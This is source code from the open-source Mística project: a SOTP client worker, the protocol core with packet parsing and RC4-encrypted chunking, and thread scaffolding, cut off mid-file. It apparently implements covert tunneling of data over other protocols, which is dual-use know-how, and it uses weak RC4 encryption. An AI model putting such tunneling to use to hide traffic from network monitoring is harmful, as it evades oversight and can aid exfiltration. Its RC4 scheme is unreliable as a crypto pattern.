the thread\n            except Exception as e:\n                print(e)\n                self.inbox.put(Message('input',\n                                          0,\n                                          self.name,\n                                          self.id,\n                                          MessageType.SIGNAL,\n                                          SignalType.TERMINATE))\n                return\n            # Empty buffered data, if any\n            while self.buffer2 and not self.exit:\n                self.conn.send(self.buffer2.pop(0))\n            # socket loop\n            while not self.exit:\n                try:\n                    # Block on socket\n                    result = select.select([self.conn], [], [], self.timeout)\n                    if result[0]:\n                        rawdata = self.conn.recv(4096)\n                        if rawdata and len(rawdata) > 0:\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      'overlay',\n                                                      self.id,\n                                                      MessageType.STREAM,\n                                                      rawdata))\n                        elif not self.persist:\n                            self._LOGGING_ and self.logger.debug(f\"[{self.name}] TCP communication broken. Sending Terminate signal to overlay\")\n                            self.inbox.put(Message('input',\n                                                      0,\n                                                      self.name,\n                                                      self.id,\n                                                      MessageType.SIGNAL,\n                                                      SignalType.TERMINATE))\n                            return\n                        else:\n                            self.conn.close()\n                            self.conn = None\n                            break\n                except Exception as e:\n                    self._LOGGING_ and self.logger.debug(f\"[{self.name}] Exception: {e}. Sending Terminate signal to overlay\")\n                    self.inbox.put(Message('input',\n                                              0,\n                                              self.name,\n                                              self.id,\n                                              MessageType.SIGNAL,\n                                              SignalType.TERMINATE))\n                    return\n        return\n\n    def processInputStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Read from socket: {len(content)}\")\n        return content\n\n    def processSOTPStream(self, content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Write to socket: {len(content)}\")\n        if self.conn is None:\n            self.buffer2.append(content) # wait until a connection happens\n        else:\n            self.conn.send(content)\n\n    # overriden for pipe scenarios\n    def handleInputStream(self, msg):\n        content = self.processInputStream(msg.content)\n        # By default, only one worker. Must be overriden for more\n        # In a multi-worker scenario inputs must be mapped to workers\n        if self.workers:\n            return self.streamToSOTPWorker(content, self.workers[0].id)\n\n        self.buffer.append(content)\n\n    # overriden for pipe scenarios\n    def addWorker(self, worker):\n        if not self.workers:  # empty\n            self.workers.append(worker)\n            # check if there's some buffered data and pass it\n            while self.buffer:\n                self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),\n                                                                      self.workers[0].id))\n        else:\n            raise(f\"Cannot Register worker on overlay module. Module {self.name} only accepts one worker\")\n"
  },
  {
    "path": "sotp/clientworker.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.core import Header,OptionalHeader,Sizes,Offsets,Status,Flags,Sync\nfrom sotp.core import Core\nfrom sotp.packet import Packet\nfrom utils.bitstring import BitArray\nfrom utils.rc4 import RC4\nfrom utils.messaging import Message,SignalType,MessageType\n\n\nclass ClientWorker(Core):\n\n    def __init__(self, key, maxretries, maxsize, tag, overlayname, wrappername, qdata, logger=None):\n        super().__init__(key, maxretries, maxsize)\n        self.name = type(self).__name__\n        self.wait_reply = False\n        self.sotp_first_push = False\n        self.transceiving = False\n        self.st = Status.NOT_INITIALIZING\n        self.oldst = None\n        self.sid = None\n        self.tag = tag\n        self.overlayname = overlayname\n        self.wrappername = wrappername\n        self.qdata = qdata\n        self.seqnumber = 1\n        self.comms_broken = False\n        self.exit = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    # Method for checking if a packet is an initialization response.\n    def checkInitResponse(self,packet):\n        if any(packet.session_id) == False:\n            return False\n        if any(packet.seq_number) == False:\n            return False\n        if any(packet.ack) == False:\n            return False\n        if packet.isFlagActive(Flags.SYNC) == False:\n            return False\n        if packet.isSyncType(Sync.RESPONSE_AUTH) == False:\n            return False\n        return True\n\n    # Method to check if a packet is a correct response from the server.\n    def checkWorkResponse(self,packet):\n        if any(packet.session_id) == False:\n            return False\n        if any(packet.seq_number) == False:\n            return False\n        if any(packet.ack) == False:\n            return False\n        if not any(packet.data_len) and not any(packet.content):\n            return True\n        if packet.data_len.uint != int(packet.content.length/8):\n            return False\n        return True\n\n    # Method to check if session reinitialization is needed (because the seq_number is limited to n bytes)\n    def checkReinitialization(self,packet):\n        if self.lastPacketSent is None:\n            raise Exception('Cannot get last sent packet')\n        if self.lastPacketSent.seq_number != packet.ack:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] on checkReinitialization() ack: {packet.ack} != seq: {self.lastPacketSent.seq_number}\")\n            return False\n        if self.lastPacketSent.seq_number.uint != (Sizes.MAX_MESSAGES-1):\n            return False\n        self._LOGGING_ and self.logger.info(f\"[{self.name}] Reinitialization is needed!\")\n        return True\n\n    # functionality will be implemented in the future\n    def checkForStop(self,packet):\n        return True\n\n    # Method for generating an initialization packet\n    # The overlay tag to be used is added to the data field\n    def generateInitPacket(self):\n        p = Packet()\n        p.session_id = BitArray(bin='0'*Header.SESSION_ID)\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = BitArray(bin='0'*Header.ACK)\n        p.data_len = BitArray(uint=len(self.tag),length=Header.DATA_LEN)\n        p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)\n        p.optional_headers = True\n        p.sync_type = BitArray(uint=Sync.REQUEST_AUTH,length=OptionalHeader.SYNC_TYPE)\n        p.content = BitArray(bytes=BitArray(hex=self.tag).bytes, length=Sizes.TAG)\n        return p\n\n    # Method for generating a polling request packet\n    def generatePollPacket(self,packt):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)\n        p.optional_headers = True\n        p.sync_type = BitArray(uint=Sync.POLLING_REQUEST,length=OptionalHeader.SYNC_TYPE)\n        p.content = BitArray()\n        return p\n\n    # Method that generates a response packet to a session termination request\n    def generateTermResponsePacket(self,packt):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.sync_type = BitArray()\n        p.content = BitArray()\n        return p\n\n    # Method that generates a session reintialization packet\n    def generateReintializationPacket(self,packt):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)\n        p.optional_headers = True\n        p.sync_type = BitArray(uint=Sync.REINITIALIZING,length=OptionalHeader.SYNC_TYPE)\n        p.content = BitArray()\n        return p\n\n    # Method to generate a session termination request packet\n    def generateTerminatePacket(self,packt):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)\n        p.optional_headers = True\n        p.sync_type = BitArray(uint=Sync.SESSION_TERMINATION,length=OptionalHeader.SYNC_TYPE)\n        p.content = BitArray()\n        return p\n\n    # Method to generate a transfer packet (with data from the overlay).\n    def generateTransferPacket(self,packt,content,push):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN)\n        if push:\n            p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS)\n        else:\n            p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.sync_type = BitArray()\n        p.content = BitArray(bytes=content)\n        return p\n\n    # Method to generate a confirmation packet\n    def generateAckPacket(self,packt):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.sync_type = BitArray()\n        p.content = BitArray()\n        return p\n\n    # Method that generates a polling packet based on the last packet received\n    def getPollRequest(self):\n        if self.lastPacketRecv is None:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] Any previous Packet Received in getPollRequest()\")\n            raise Exception(\"Any previous Packet Received in getPollRequest()\")\n        packettosend = self.generatePollPacket(self.lastPacketRecv)\n        self.storePackets(None,packettosend)\n        return [Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())]\n\n    # Method that updates the reference to the last package sent and/or received.\n    def storePackets(self,packetrecv,packetsent):\n        if packetsent is not None:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Storing Sent Packet sq:{packetsent.seq_number} ack:{packetsent.ack}\")\n            self.lastPacketSent = packetsent\n        if packetrecv is not None:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Storing Recv Packet sq:{packetrecv.seq_number} ack:{packetrecv.ack}\")\n            self.lastPacketRecv = packetrecv\n\n    # Method that receives the Initialization Response, sets the session_id (from response packet)\n    # and sends the overlay data, if it doesn't have it, simply generate a Polling Request packet.\n    def doInitialize(self,packet):\n        if self.sid is None:\n            self.sid = packet.session_id\n        packettosend = None\n        if self.someOverlayData():\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] detected Overlay data in doInitialize()\")\n            packettosend = self.makeTransferPacket(packet)\n            self.transceiving = True\n        else:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] generating Polling Request\")\n            packettosend = self.generatePollPacket(packet)\n            self.transceiving = False\n        self.wait_reply = True\n        self.storePackets(packet,packettosend)\n        self.st = Status.WORKING\n        return [Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())]\n\n    # Method that manages Polling Responses, Confirmations and Data Transfer packets\n    # Data transfers can be full duplex\n    def doWork(self,packet):\n        response = []\n        packettosend = None\n        if packet.anyContentAvailable():\n            self.extractIncomingData(packet)\n            if packet.isFlagActive(Flags.PUSH):\n                data_decrypt = self.decryptWrapperData()\n                response.append(Message(\"clientworker\",0,self.overlayname,0,MessageType.STREAM,data_decrypt))\n                if self.someOverlayData():\n                    packettosend = self.makeTransferPacket(packet)\n                    response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n                else:\n                    packettosend = self.generatePollPacket(packet)\n                    response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n            else:\n                if self.someOverlayData():\n                    packettosend = self.makeTransferPacket(packet)\n                    response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n                else:\n                    packettosend = self.generateAckPacket(packet)\n                    response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n            self.wait_reply = True\n            self.transceiving = True\n        else:\n            if self.someOverlayData():\n                packettosend = self.makeTransferPacket(packet)\n                response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n                self.wait_reply = True\n                self.transceiving = True\n            else:\n                self.wait_reply = False\n                self.transceiving = False\n        self.storePackets(packet,packettosend)\n        return response\n\n    # Method that extracts data (if any) from a packet received from the server (by full-duplex).\n    def extractIncomingData(self,packet):\n        if any(packet.data_len) == False or any(packet.content) == False:\n            return\n        self.bufWrapper.addChunk(packet)\n        return\n\n    # Method of starting a data transfer\n    def makeTransferPacket(self,packet):\n        response = None\n        chunk, push = self.bufOverlay.getChunk()\n        transpacket = self.generateTransferPacket(packet,chunk,push)\n        response = transpacket\n        if push and not self.bufOverlay.anyIndex():\n            self.sotp_first_push = True\n        self.lastPacketSent = transpacket\n        return response\n\n    # Method that responds to a server termination request\n    def doTermination(self,packet):\n        termpacket = self.generateTermResponsePacket(packet)\n        self.st = Status.TERMINATING\n        self.storePackets(packet,termpacket)\n        return [\n            Message(\"clientworker\",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED),\n            Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes())\n        ]\n\n    # Method that performs the session reinitialization process\n    def doReintialization(self,packt):\n        repackt = self.generateReintializationPacket(packt)\n        self.oldst = self.st\n        self.st = Status.REINITIALIZING\n        self.storePackets(packt,repackt)\n        self.seqnumber=0\n        return [Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,repackt.toBytes())]\n\n    # functionality will be completed in the future\n    def initializeStop(self,packt):\n        stopackt = self.generateTerminatePacket(packt)\n        self.st = Status.TERMINATING\n        self.storePackets(packt,stopackt)\n        return [Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,stopackt.toBytes())]\n\n    # Method that resets the previous state after a session reinitialization.\n    def resetSession(self,packet):\n        response = []\n        self.st = self.oldst\n        packettosend = None\n        if self.someOverlayData():\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Overlay data detected, making transfer packet...\")\n            packettosend = self.makeTransferPacket(packet)\n            response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))\n            self.wait_reply = True\n            self.transceiving = True\n        else:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] No overlay data, waiting...\")\n            self.wait_reply = False\n            self.transceiving = False\n        self.storePackets(packet,packettosend)\n        return response\n\n    # Method used to resend the previous package, if it has not exceeded the maximum number of retries,\n    # otherwise, loss of communication is reported\n    def lookForRetries(self):\n        if self.checkForRetries():\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] exceeded the maximum number of retries\")\n            self.comms_broken = True\n            return [Message(\"clientworker\",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_BROKEN)]\n        else:\n            packt = self.lostPacket()\n            self.storePackets(packt,packt)\n            return [Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,packt.toBytes())]\n\n    # Trigger method that performs the checks associated with each function and then invokes it\n    # by returning a response.\n    def initialChecks(self,data,checkerFunc,nextFunc):\n        try:\n            p = self.transformToPacket(data.content)\n            if self.st != Status.REINITIALIZING and self.checkReinitialization(p):\n                self._LOGGING_ and self.logger.debug(f\"[{self.name}] Reinitialization Request Packet detected\")\n                return self.doReintialization(p)\n            if self.checkTermination(p):\n                self._LOGGING_ and self.logger.debug(f\"[{self.name}] Termination Request Packet detected\")\n                return self.doTermination(p)\n            if checkerFunc(p) == False:\n                self._LOGGING_ and self.logger.error(f\"[{self.name}] {str(checkerFunc)} has failed, re-sending...\")\n                return self.lookForRetries()\n            if self.checkConfirmation(p) == False:\n                self._LOGGING_ and self.logger.error(f\"[{self.name}] checkConfirmation has failed, lpks: {self.lastPacketSent.seq_number} != ack: {p.ack}\")\n                return self.lookForRetries()\n            return nextFunc(p)\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] initialChecks Exception: {e}\")\n            return [Message(\"clientworker\",0,self.overlayname,0,MessageType.SIGNAL,SignalType.ERROR)]\n\n    # Method that processes data from the Wrapper (messages/packets from the server).\n    def wrapperProcessing(self, data):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Processing data from Wrapper. Status: {self.st}\")\n        if self.st == Status.INITIALIZING:\n            return self.initialChecks(data,self.checkInitResponse,self.doInitialize)\n        elif self.st == Status.WORKING:\n            return self.initialChecks(data,self.checkWorkResponse,self.doWork)\n        elif self.st == Status.TERMINATING:\n            self.st = Status.NOT_INITIALIZING\n            return [Message(\"clientworker\",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED)]\n        elif self.st == Status.REINITIALIZING:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] About to reset session\")\n            return self.initialChecks(data,self.checkWorkResponse,self.resetSession)\n        elif self.st == Status.STOPING:\n            return self.initialChecks(data,self.checkForStop,self.initializeStop)\n        else:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] Invalid status on Wrapper Processing: {self.st}\")\n            raise Exception(f\"Invalid status on Wrapper Processing: {self.st}\")\n\n    # Method that processes the data from the overlay and stores it in its buffer.\n    def overlayProcessing(self, data):\n        self._LOGGING_ and self.logger.debug(f\"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...\")\n        self.storeOverlayContent(data.content)\n        if self.sid and not self.wait_reply and not self.transceiving:\n            return Message(\"datathread\",0,\"clientworker\",0,MessageType.SIGNAL,SignalType.BUFFER_READY)\n        return\n\n    # A method (running on a thread) that receives the data from the overlay, encrypts it, \n    # chunks it and saves it parallel to the mistica client loop.\n    def dataEntry(self,qsotp):\n        while True:\n            data = self.qdata.get()\n            if data.isTerminateMessage() and data.sender == \"clientworker\":\n                break\n            msg = self.overlayProcessing(data)\n            if msg is not None:\n                qsotp.put(msg)\n\n    # Entry point for data messages received by the sotp of the wrapper\n    def streamEntry(self, data):\n        if data.sender == self.wrappername:\n            self.retries = 0\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Header Recv: {data.printHeader()}\")\n            return self.wrapperProcessing(data)\n        else:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] Invalid sender on streamEntry {data.sender} not [{self.overlayname}||{self.wrappername}]\")\n            raise Exception(f\"Invalid sender on streamEntry {data.sender} wait {self.wrappername}\")\n\n    # Entry point for signal messages received by the sotp of the wrapper and/or overlay\n    def signalEntry(self, data):\n        response = []\n        if data.isTerminateMessage():\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() received a signal terminate\")\n            if self.lastPacketRecv and self.sid:\n                termpacket = self.generateTerminatePacket(self.lastPacketRecv)\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() coms active, so sending a termination request\")\n                not self.comms_broken and response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes()))\n            response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.SIGNAL,SignalType.TERMINATE))\n            self.qdata.put(Message(\"clientworker\",0,'datathread',0,MessageType.SIGNAL,SignalType.TERMINATE))\n            self.exit = True\n        elif self.st == Status.NOT_INITIALIZING and data.isStartMessage():\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() received a signal Start\")\n            p = self.generateInitPacket()\n            self.wait_reply = True\n            response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,p.toBytes()))\n            self.lastPacketSent = p\n            self.st = Status.INITIALIZING\n        elif data.isStopMessage():\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() received a signal Stop\")\n            self.st = Status.STOPING\n        elif data.isCommunicationBrokenMessage():\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() received a signal CommunicationBrokenMessage\")\n            response = self.lookForRetries()\n        elif data.isBufferReady() and self.lastPacketSent is not None:\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() received a signal Buffer Ready\")\n            if not self.transceiving:\n                self.transceiving = True\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] signalEntry() not transceiving so generate a transfer packet\")\n                dpacket = self.makeTransferPacket(self.lastPacketRecv)\n                response.append(Message(\"clientworker\",0,self.wrappername,0,MessageType.STREAM,dpacket.toBytes()))\n        else:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] Invalid signal on streamEntry {data}\")\n            raise Exception(f\"Invalid signal on streamEntry {data}\")\n        return response\n\n    # Main entry point, separated based on message type: data or signal\n    def Entrypoint(self,data):\n        try:\n            if data.msgtype == MessageType.SIGNAL:\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] passing a signal message to Entrypoint\")\n                return self.signalEntry(data)\n            else:\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] passing a stream message to Entrypoint\")\n                return self.streamEntry(data)\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] Exception in Entrypoint: {e}\")\n            return self.lookForRetries()\n"
  },
  {
    "path": "sotp/core.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.packet import Packet\nfrom utils.bitstring import BitArray\nfrom utils.rc4 import RC4\nfrom utils.buffer import Index, OverlayBuffer, WrapperBuffer\n\n\nBYTE = 8\n\n\nclass Header(object):\n    SESSION_ID = 1 * BYTE\n    SEQ_NUMBER = 2 * BYTE\n    ACK = 2 * BYTE\n    DATA_LEN = 2 * BYTE\n    FLAGS = 1 * BYTE\n\n\nclass OptionalHeader(object):\n    SYNC_TYPE = 1 * BYTE\n\n\nclass Sizes(object):\n    HEADER = Header.SESSION_ID + Header.SEQ_NUMBER + Header.ACK + Header.DATA_LEN + Header.FLAGS\n    OPTIONAL_HEADER = OptionalHeader.SYNC_TYPE\n    MAX_MESSAGES = (2**Header.SEQ_NUMBER)-1\n    TAG = 2 * BYTE\n\n\nclass Offsets(object):\n    SESSION_ID = 0 + Header.SESSION_ID\n    SEQ_NUMBER = SESSION_ID + Header.SEQ_NUMBER\n    ACK = SEQ_NUMBER + Header.ACK\n    DATA_LEN = ACK + Header.DATA_LEN\n    FLAGS = DATA_LEN + Header.FLAGS\n    SYNC_TYPE = 0 + OptionalHeader.SYNC_TYPE\n\n\nclass Status(object):\n    NOT_INITIALIZING = 0\n    INITIALIZING = 1\n    WORKING = 2\n    TERMINATING = 3\n    REINITIALIZING = 4\n    STOPING = 5\n\n\nclass Flags(object):\n    SYNC = 1\n    PUSH = 2\n\n\nclass Sync(object):\n    REQUEST_AUTH = 0\n    RESPONSE_AUTH = 1\n    REINITIALIZING = 2\n    POLLING_REQUEST = 5\n    SESSION_TERMINATION = 6\n\n\nclass Core(object):\n\n    def __init__(self, key, maxretries, maxsize):\n        self.rc4 = RC4(bytes(key, encoding='utf8'), False)\n        self.st = Status.NOT_INITIALIZING\n        self.maxretries = maxretries\n        self.retries = 0\n        self.lastPacketSent = None\n        self.lastPacketRecv = None\n        self.bufOverlay = OverlayBuffer()\n        self.bufWrapper = WrapperBuffer()\n        self.checkMaxSizeAvailable(maxsize)\n\n    def checkMaxSizeAvailable(self, maxsize):\n        if maxsize > 2**Header.DATA_LEN:\n            raise Exception(f\"MaxSize {maxsize} is exced {2**Header.DATA_LEN} which is max representation with {Header.DATA_LEN} bits of Data Length\")\n        self.maxsize = maxsize\n\n    @staticmethod\n    def fromBytesToBitArray(data):\n        return BitArray(bytes=data)\n\n    @staticmethod\n    def parseRawPacket(binarypacket):\n        if len(binarypacket) < Sizes.HEADER:\n            raise Exception(f\"Raw Packet size {len(binarypacket)} is lower than the minimun Header size {Sizes.HEADER}\")\n        return binarypacket[:Sizes.HEADER], binarypacket[Sizes.HEADER:]\n\n    @staticmethod\n    def buildPacket(header, body):\n        p = Packet()\n        p.session_id = header[0:Offsets.SESSION_ID]\n        p.seq_number = header[Offsets.SESSION_ID:Offsets.SEQ_NUMBER]\n        p.ack = header[Offsets.SEQ_NUMBER:Offsets.ACK]\n        p.data_len = header[Offsets.ACK:Offsets.DATA_LEN]\n        p.flags = header[Offsets.DATA_LEN:Offsets.FLAGS]\n        p.sync_type = None\n        p.content = None\n        if p.isFlagActive(Flags.SYNC):\n            p.sync_type = BitArray(bin=body.bin[0:Offsets.SYNC_TYPE])\n            p.content = BitArray(bin=body.bin[Offsets.SYNC_TYPE:])\n            p.optional_headers = True\n        else:\n            p.sync_type = BitArray()\n            p.content = BitArray(bin=body.bin)\n        return p\n\n    @staticmethod\n    def transformToPacket(rawbytes):\n        bitarraydata = Core.fromBytesToBitArray(rawbytes)\n        header, body = Core.parseRawPacket(bitarraydata)\n        packt = Core.buildPacket(header, body)\n        return packt\n\n    def checkMainFields(self,packt):\n        if any(packt.session_id) == False:\n            return False\n        if any(packt.seq_number) == False:\n            return False\n        if any(packt.ack) == False:\n            return False\n        return True\n\n    def checkForRetries(self):\n        if self.retries == self.maxretries:\n            self.retries = 0\n            return True\n        self.retries = self.retries + 1\n        return False\n\n    def lostPacket(self):\n        if self.lastPacketSent is None:\n            raise Exception(\"Last sent packet is None, cannot resend\")\n        else:\n            return self.lastPacketSent\n\n    def decryptWrapperData(self):\n        packets = self.bufWrapper.getChunks()\n        content = BitArray()\n        for packet in packets:\n            content.append('0b' + packet.content.bin)\n        bytescontent = content.tobytes()\n        decryptcontent = self.rc4.crypt(bytescontent)\n        return decryptcontent\n\n    def storeOverlayContent(self, data):\n        data = self.rc4.crypt(data)\n        index = Index()\n        lendata = len(data)\n        for i in range(0, lendata, self.maxsize):\n            index.add(data[i:i + self.maxsize])\n        self.bufOverlay.addIndex(index)\n\n    def someOverlayData(self):\n        return self.bufOverlay.anyIndex()\n\n    def checkConfirmation(self,packt):\n        if self.lastPacketSent is None:\n            raise Exception(\"Haven't sent any packet, can't perform confirmation.\")\n        if self.lastPacketSent.seq_number != packt.ack:\n            return False\n        return True\n\n    def checkTermination(self,packt):\n        if self.checkMainFields(packt) == False:\n            return False\n        if packt.isFlagActive(Flags.SYNC) == False:\n            return False\n        if packt.isSyncType(Sync.SESSION_TERMINATION) == False:\n            return False\n        return True\n"
  },
  {
    "path": "sotp/misticathread.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom threading import Thread\nfrom queue import Queue\nfrom utils.messaging import Message, MessageType, SignalType\nfrom argparse import ArgumentParser\n\nclass MisticaMode:\n    SINGLE = 0\n    MULTI = 1\n\n\nclass MisticaThread(Thread):\n    def __init__(self, name, logger):\n        Thread.__init__(self)\n        self.name = name\n        self.inbox = Queue()\n        self.exit = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def generateArgParser(self):\n        config = self.CONFIG\n\n        parser = ArgumentParser(prog=config[\"prog\"],description=config[\"description\"])\n        for arg in config[\"args\"]:\n            for name,field in arg.items():\n                opts = {}\n                for key,value in field.items():\n                    opts[key] = value\n                parser.add_argument(name, **opts)\n        return parser\n\n    def handleMessage(self, msg):\n        answer = None\n        if (msg.isSignalMessage()):\n            answer = self.handleSignal(msg)\n        elif (msg.isStreamMessage()):\n            answer = self.handleStream(msg)\n        else:\n            raise Exception('Invalid Message')\n        return answer\n\n    # OVERRIDE ME\n    def handleSignal(self, msg):\n        pass\n\n    # OVERRIDE ME\n    def handleStream(self, msg):\n        pass\n\n    # OVERRIDE ME\n    def processAnswer(self, msg):\n        pass\n\n    def run(self):\n        while True:\n            try:\n                message = self.inbox.get()\n                answer = self.handleMessage(message)  # Answer can be None\n                self.processAnswer(answer)\n                if self.exit:\n                    self._LOGGING_ and self.logger.debug(f\"[{self.name}] MisticaThread detect Exit Flag.\")\n                    break\n            except Exception as e:\n                self._LOGGING_ and self.logger.exception(f\"[{self.name}] MisticaThread Exception: {e}\")\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Terminated\")\n\n\nclass ClientOverlay(MisticaThread):\n\n    def __init__(self, name, qsotp, qdata, args, logger):\n        MisticaThread.__init__(self, name, logger)\n        self.qsotp = qsotp\n        self.qdata = qdata\n        self.hasInput = False\n        # Generate argparse and parse args\n        self.argparser = self.generateArgParser()\n        self.args = self.argparser.parse_args(args.split())\n        self.parseArguments(self.args)\n        # Get tag, by default, from args\n        self.tag = self.args.tag[0]\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        self.initCommunication()\n\n    # OVERRIDE ME\n    def parseArguments(self, args):\n        pass\n\n    # First of all, Overlay send a Signal Start Msg to Sotp.\n    def initCommunication(self):\n        m = Message(self.name, 0, \"clientworker\", 0, MessageType.SIGNAL, SignalType.START)\n        self.qsotp.put(m)\n\n    def handleSignal(self, msg):\n        if msg.isTerminateMessage() or msg.isCommunicationEndedMessage() or msg.isCommunicationBrokenMessage():\n            self.exit = True\n            self.qsotp.put(Message(self.name, 0, \"clientworker\", 